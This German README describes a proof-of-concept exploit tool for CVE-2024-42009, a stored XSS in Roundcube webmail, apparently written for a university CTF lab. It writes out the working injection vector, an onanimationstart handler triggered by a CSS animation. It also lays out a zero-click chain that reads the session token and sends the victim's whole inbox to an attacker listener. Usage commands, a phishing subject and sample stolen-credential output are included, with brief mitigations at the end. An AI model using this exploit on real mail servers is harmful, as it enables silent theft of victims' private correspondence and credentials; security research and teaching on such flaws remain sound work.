
Stored-XSS-Exploit für Roundcube Webmail ≤1.6.6 (CVE-2024-42009) mit Zero-Click-E-Mail-Exfiltration über CSS-Animation-Event-Handler. Enthält SMTP-Zustellskript und CORS-fähigen Listener für CTF und autorisierte Sicherheitstests.
Nur für autorisierte Sicherheitstests, CTF-Umgebungen und Bildungsforschung.
Die Verwendung dieses Tools gegen Systeme, die Ihnen nicht gehören oder für die Sie keine schriftliche Erlaubnis zum Testen haben, ist illegal gemäß dem Computer Misuse Act 1990 (UK), dem CFAA (USA) und gleichwertigen Gesetzen weltweit.
| Feld | Detail |
|---|---|
| CVE | CVE-2024-42009 |
| Betroffene Software | Roundcube Webmail ≤ 1.6.6 |
| Gepatchte Version | 1.6.7 / 1.6.8 |
| CVSS v3.1 Score | 8.8 (Hoch) |
| CVSS Vektor | AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| CWE | CWE-79 — Unzureichende Neutralisierung von Eingaben bei der Generierung von Webseiten (XSS) |
| Angriffsart | Stored XSS → Zero-Click-E-Mail-Exfiltration |
| Authentifizierung erforderlich | Keine (SMTP-Zustellung); Niedrig (Opfer muss die E-Mail öffnen) |
Der HTML-Sanitiser von Roundcube 1.6.6 entfernt keine JavaScript-Ereignishandler, die an CSS-Animation-Keyframes innerhalb eines fehlerhaften <body>-Tag-Attributs angehängt sind.
Injektionsvektor:
<style>@keyframes x { from { opacity: 1; } to { opacity: 1; } }</style>
<body style="animation: x 0.001s;" onanimationstart="/* beliebiges JS */">
Wenn das Opfer die E-Mail in seiner authentifizierten Roundcube-Sitzung öffnet, wird die CSS-Animation sofort ausgelöst. Der onanimationstart-Handler wird ausgeführt und hat vollen Zugriff auf das rcmail-JavaScript-Objekt, einschließlich des request_token der Sitzung.
Exploit-Kette:
1. Der Angreifer sendet eine bösartige HTML-E-Mail über einen nicht authentifizierten SMTP-Relay (Port 25) an das Opfer
2. Das Opfer öffnet die E-Mail in Roundcube — die Animation wird ausgelöst, JS wird ausgeführt (keine Klicks erforderlich)
3. JS liest rcmail.env.request_token (gültiges CSRF-Token für die Sitzung)
4. JS iteriert über alle Posteingangs-UIDs über die interne Mail-API von Roundcube
5. Jede Nachricht wird abgerufen und ihr Inhalt gesammelt
6. Alle Posteingangsdaten werden als JSON an den HTTP-Listener des Angreifers gesendet
7. Der Angreifer liest die wiederhergestellten E-Mails – diese können Anmeldedaten, Sitzungsdaten oder vertrauliche Kommunikation enthalten
cve-2024-42009-roundcube-xss/
├── exploit.py # Sendet das XSS-Payload über nicht authentifiziertes SMTP
├── listener.py # CORS-fähiger HTTP-Server; empfängt und druckt exfiltrierte Posteingangsdaten
├── payload.html # Eigenständiges XSS-Payload zur manuellen Inspektion oder Zustellung via Burp
└── README.md
smtplib, http.server, json, argparse)python3 listener.py --port 8080
Ausgabe, wenn Daten eintreffen:
[+] Exfiltration empfangen von 192.168.62.128
[*] Sitzungstoken : abc123...
[*] Erfasste E-Mails: 19
--- E-Mail 1 ---
UID : 1
Von : [email protected]
Betreff : SSH-Zugangsdaten
Inhalt : Ihre Zugangsdaten lauten: ...
Der vollständige JSON-Dump wird automatisch in exfil_dump.json gespeichert.
python3 exploit.py \
--smtp 192.168.62.128 \
--port 25 \
--from [email protected] \
--to [email protected] \
--attacker 192.168.62.129 \
--lport 8080 \
--subject "Sicherheitshinweis - Maßnahme erforderlich"
Sobald die E-Mail in Roundcube ≤ 1.6.6 geöffnet wird, gibt der Listener die exfiltrierten Posteingangsinhalte aus.
Der HTML-Reiniger von Roundcube ist dafür verantwortlich, gefährliche Attribute zu entfernen, bevor eingehende HTML-E-Mails gerendert werden. In Versionen ≤ 1.6.6 entfernt der Reiniger korrekt onclick, onerror und ähnliche Handler – entfernt jedoch nicht Ereignishandler für CSS-Animation-Ereignisse (onanimationstart, onanimationend, onanimationiteration).
Da CSS-Animationen als Teil des Renderings (nicht durch Benutzerinteraktion) ausgelöst werden, wird der Handler im selben Moment ausgeführt, in dem die E-Mail geöffnet wird – kein Klick auf einen Link, keine Benutzeraktion außer dem Öffnen der Nachricht.
Das JavaScript-Objekt rcmail ist in jeder authentifizierten Roundcube-Sitzung global verfügbar. Es stellt rcmail.env.request_token bereit, das CSRF-Token der Sitzung. In Kombination mit den eigenen Mail-API-Endpunkten von Roundcube (?_task=mail&_action=list, ?_action=show) kann das Payload den vollständigen Posteingang lesen, ohne eine zusätzliche Authentifizierung auszulösen.
| Version | Status |
|---|---|
| ≤ 1.6.6 | Anfällig |
| 1.6.7 | Gepatcht |
| 1.6.8 | Gepatcht (empfohlen) |
| 1.5.x LTS | Herstellerhinweis prüfen |
| Maßnahme | Detail |
|---|---|
| Upgrade | Roundcube 1.6.8 oder neuer behebt diese Art von XSS |
| CSP-Header | Setzen Sie Content-Security-Policy: default-src 'self'; script-src 'self' auf dem Webmail-VHost, um die Ausführung von Inline-JS zu blockieren |
Dieses PoC wurde im Rahmen einer Boot-to-Root-CTF-Penetrationstest-Bewertung im Modul Ethical Hacking and Penetration Testing des MSc Cybersecurity an der Coventry University (2025–2026) entwickelt und getestet. Alle Tests wurden in einer isolierten VMware-Laborumgebung mit ausdrücklicher schriftlicher Genehmigung durchgeführt.
Autor: Segun Akinsoyinu
Portfolio: segunakinsoyinu.github.io/MyPortfolio
Dieser Code wird ausschließlich für Bildungs- und autorisierte Sicherheitsforschungszwecke veröffentlicht. Der Autor übernimmt keine Haftung für Missbrauch. Bevor Sie dieses Tool verwenden, stellen Sie sicher, dass Sie eine ausdrückliche schriftliche Genehmigung zum Testen des Zielsystems haben.
| Argument | Beschreibung |
|---|
--smtp | IP oder Hostname des Ziel-SMTP-Servers |
--port | SMTP-Port (Standard: 25) |
--from | Absenderadresse (jeder vom Relay akzeptierte Wert) |
--to | E-Mail-Adresse des Opfers |
--attacker | Ihre IP — wird im Payload als Exfil-Sammler eingebettet |
--lport | Ihr Listener-Port (Standard: 8080) |
--subject | Betreffzeile der E-Mail |
| SMTP-Relay | Deaktivieren Sie nicht authentifizierten Relay auf Port 25 – fordern Sie AUTH für alle internen Zustellungen |